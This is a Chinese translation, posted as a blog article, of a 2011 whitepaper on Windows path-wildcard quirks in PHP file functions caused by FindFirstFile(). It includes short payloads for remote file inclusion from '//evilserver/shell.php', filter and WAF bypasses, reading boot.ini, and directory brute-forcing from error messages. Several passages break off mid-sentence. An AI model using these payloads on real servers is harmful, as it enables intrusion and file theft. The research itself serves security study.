php路径爆破,当Windows遇上PHP–路径爆破 | CN-SEC 中文网

摘要

1.开场白 此次所披露的是以下网页中提出的问题所取得的测试结果: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果:

已知1.php存在,以上脚本访问的结果是:

1.php

1.phP

1.ph<

1.ph>

都能得到返回。

前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。

测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0

测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3

经测试我们得出的结论是:该漏洞影响所有的windows+php版本

2.深入探查模糊测试的结果

为了继续深入探查关于该bug的信息,我们对demo做了些许修改:

在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”

但是此bug至今未被任何windows旗下所发行的任何版本修复!

我们要阐明的是,该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:

d8e744b21431bd7b3b89738507260d43.png

此外,我们还发现该利用也可以被运用到c++中,以下采用来自msdn的例子:

#include #include  #include  void _tmain(int argc, TCHAR *argv[]) { WIN32_FIND_DATA FindFileData; HANDLE hFind; if( argc != 2 ) { _tprintf(TEXT("Usage: %s [target_file]/n"), argv[0]); return; } _tprintf (TEXT("Target file is %s/n"), argv[1]); hFind = FindFirstFile(argv[1], &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { printf ("FindFirstFile failed (%d)/n", GetLastError()); return; } else { _tprintf (TEXT("The first file found is %s/n"), FindFileData.cFileName); FindClose(hFind); } }

当传入参数”c:/bo

3.利用方法总结

当调用FindFirstFile()函数时,”

EXAMPLE:i

当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符

EXAMPLE:include(‘shell.p>p’);    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。

当调用FindFirstFile()函数时,”””(双引号)被替换成”.”

EXAMPLE:include(‘shell”php’);    //===>include(‘shell.php’);

如果文件名第一个字符是”.”的话,读取时可以忽略之

EXAMPLE:fopen(‘.htacess’);  //==>fopen(‘htacess’);   //加上第一点中的利用 ==>fopen(‘h<

文件名末尾可以加上一系列的/或者/的合集,你也可以在/或者/中间加上.字符,只要确保最后一位为”.”

EXAMPLE:fopen(“config.ini//.// //.”);==>  fopen(‘config.ini/././.’); ==>fopen(‘config.ini/.’)==> fopen(‘config.ini…..’)   //译者注:此处的利用我不是很理解,有何作用?截断?

该函数也可以调用以”//”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟 的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过 allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)

EXAMPLE:include (‘//evilserver/shell.php’);

用以下方法还可以切换文件的盘名

include(‘//./C:/my/file.php/../../../D:/anotherfile.php’);

选择磁盘命名语法可以用来绕过斜线字符过滤

file_get_contents(‘C:boot.ini’); //==>  file_get_contents (‘C:/boot.ini’);

在php的命令行环境下(php.exe),关于系统保留名文件的利用细节

EXAMPLE:file_get_contents(‘C:/tmp/con.jpg’); //此举将会无休无止地从CON设备读取0字节,直到遇到eof

EXAMPLE:file_put_contents(‘C:/tmp/con.jpg’,chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤

请思考该例:

访问test.php?a=../a

可能出现两种结果

Warning: include(/images/../a

Warning: include(/images/../a

如果是第一种情况,说明不存在a打头的文件,第二种则存在。

此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

5.结论

实验告诉我们,php本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与winapi的一个BUG),并且 直接强 制使用,将会导致细微的错误(bug),并最终造成危害(vul).这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究web层面,而深入到系 统底层),并最终导致IDS,IPS的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为 我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。

因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了

6.Referer

PHP application source code audits advanced technology:

http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

MSDN FindFirstFile Function refere

http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx

MSDN comments history:

http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3

MSDN article «Naming Files, Paths, and Namespaces»:

http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx

Technet article «Managing Files and Directories»:

http://technet.microsoft.com/en-us/library/cc722482.aspx

Paper «Technique of quick exploitation of 2blind

http://www.exploit-db.com/papers/13696/

==================================================================

全文完。

注:该文是2011年底发表的一篇白皮书,至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用,当时便是看的此文,当时只是粗粗读了一下,写了一个php的脚本去跑目录。今回闲来无事,翻译整理了一番。

原文pdf:http://onsec.ru/onsec.whitepaper-02.eng.pdf

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值